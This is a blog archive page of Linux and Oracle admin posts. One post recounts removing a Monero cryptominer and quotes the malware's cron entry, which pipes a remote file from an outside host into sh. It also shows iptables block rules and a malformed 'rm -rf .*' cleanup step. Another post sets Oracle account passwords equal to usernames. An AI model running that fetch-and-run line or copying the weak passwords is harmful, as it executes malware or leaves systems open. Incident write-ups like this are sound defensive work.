Showing posts with label OLS. Show all posts
Showing posts with label OLS. Show all posts

Tuesday, January 31, 2017

Lady.B Malware! CryptoMiner

Recently I had a requirement to check the performance of a linux server.

A very strange job was starting over and over again no matter the times I killed it. This job was consuming a high percentage of cpu.

After a several commands for checking the origin of this job. I found the following A CryptoMiner malware infected the system.

The malware specializes in Mining relatively new cryptocurrency Monero (XMR). This is not only a new currency with a little difficulty, but the attackers for some reason chose it.

The malware checks the version of the system - and adds the appropriate executable file to AutoRun.

"stratum+tcp://monero.crypto-pool.fr:3333"

More detail here:

https://steemit.com/steemit/@whitemike313/crypto-miner-has-infected-thousands-of-nas-in-the-world

Well the steps I did to get rid of this malware:

1.- Stop all the communication to their servers.

sudo chkconfig iptables on

sudo iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
sudo iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
sudo iptables -A INPUT -s txrdr.com -j DROP
sudo iptables -A OUTPUT -d txrdr.com -j DROP

sudo service iptables save

sudo service iptables status


txrdr.com (this one, I found it in a cron file)

2.- Delete tmp files

/tmp/rm -rf .*
/tmp/rm -rf

3.- Delete oracle cron file
/var/spool/cron/oracle

Or remove its contents
In my case (*/1 * * * * curl txrdr.com/sitecontent/S6-WEB.jpg|sh;)

4.- Restart as many times as you required in order to see the process is not starting

5.- Check if you need to have cron running, otherwise stop it using /etc/init.d/crond stop.

This process is not going to clean completely the system but is going to block all the communications and avoid the cron job regenerates the source of the malware, thus the job is not going to start if the connection is not established succesfully.

Well done bad guys!!


Tuesday, July 26, 2016

.bash_profile example

Sometimes, operative systems users don't come with bash profile file, here you have an example of
this file and common environment variables in a Oracle installation.


# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH

# Oracle Settings
export TMP=/tmp
export TMPDIR=$TMP

export ORACLE_HOSTNAME=cbaf0b
export ORACLE_UNQNAME=cloudcdb1
export ORACLE_BASE=/mnt/opc_data
export ORACLE_HOME=$ORACLE_BASE/product/12.1.0/db_1
export ORACLE_SID=cloudcdb1

export PATH=/usr/sbin:$PATH
export PATH=$ORACLE_HOME/bin:$PATH

export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
export CLASSPATH=$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib

export JAVA_HOME=/usr/java/jdk1.8.0_91
export JRE_HOME=/usr/java/jdk1.8.0_91/jre
export JDK_HOME=/usr/java/jdk1.8.0_91

export PATH=$JAVA_HOME/bin:$PATH

Cyaaa !!

Tuesday, May 17, 2016

Install APEX 4.2 in OLS 6


Helo guys, Now we are going to install APEX 4.02  in OLS 6

There are two ways to install it.

1.- When you have install the database with this option.
2.- When you don't.

Here we are going to use the first option.

The database:

Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Oracle Label Security, OLAP, Advanced Analytics
and Real Application Testing options

1.- Locate the database home, in my case:

/u01/app/oracle/product/12c/db_1

2.- Search if you have de apex folder

[oracle@alexdb db_1]$ ls
addnode      dbs            javavm   odbc         precomp       sqlpatch
apex         dc_ocm         jdbc     olap         QOpatch       sqlplus
assistants   deinstall      jdk      OPatch       R             srvm
bin          demo           jlib     opmn         racg          suptools
ccr          diagnostics    ldap     oracore      rdbms         sysman
cdata        dmu            lib      oraInst.loc  relnotes      ucp
cfgtoollogs  dv             log      ord          rest          usm
clone        has            md       oui          root.sh       utl
crs          hs             mgw      owm          scheduler     wwg
css          install        network  perl         slax          xdk
ctx          instantclient  nls      plsql        sqldeveloper

If you don't have it, you must download it from:

http://www.oracle.com/technetwork/developer-tools/apex/downloads/index.html

3.- Run script 
@apex_epg_config.sql /u01/app/oracle/product/12c/db_1

4.- Run script
@apxconf.sql

Voilá!


Notes:
Please be sure you have this users unlocked and not expired: Example: If EXPIRED - Change password for following users : ANONYMOUS,XDB,APEX_PUBLIC_USER
,FLOWS_FILES,APEX_040200.
IF LOCKED - Unlock: ALTER USER ANONYMOUS ACCOUNT UNLOCK; ALTER USER XDB ACCOUNT UNLOCK; ALTER USER APEX_PUBLIC_USER ACCOUNT UNLOCK; ALTER USER FLOWS_FILES ACCOUNT UNLOCK; ALTER USER APEX_040200 ACCOUNT UNLOCK; SQL > ALTER USER ANONYMOUS IDENTIFIED BY anonymous; SQL> ALTER USER ANONYMOUS ACCOUNT UNLOCK; SQL> ALTER USER XDB IDENTIFIED BY xdb; SQL> ALTER USER XDB ACCOUNT UNLOCK;
That's because APEX is going to prompt you about XDB Credentials if something is wrong

=)


Friday, July 24, 2015

Change Dynamic Ip to Static Ip Oracle Linux Server



Change the network file, and set the gateway


[oracle@alexdb ~]$ cat  /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=alexdb.oracle.com
GATEWAY=192.168.x.x

Change your interface:
/etc/sysconfig/network-scripts/ifcfg-eth0

Check the values in red

DEVICE=eth0
NM_CONTROLLED=yes
HWADDR=00:21:F6:3F:3A:69
TYPE=Ethernet
UUID=ea5fd29b-4752-4ef7-890f-9611c18eb4c6
DEFROUTE=yes
IPV4_FAILURE_FATAL=yes
IPV6INIT=no
NAME="System eth0"
ONBOOT=yes
PEERROUTES=yes
IPADDR=192.168.128.63
GATEWAY=192.168.128.1
NETMASK=255.255.255.0
BOOTPROTO=static
USERCTL=no


Change the hosts file /etc/hosts


issue the following command:
service network restart

Your mac address must match HWADDR=00:21:F6:3F:3A:69 to your interface address

ifup eth0 if your interface is not available. 

Cheers!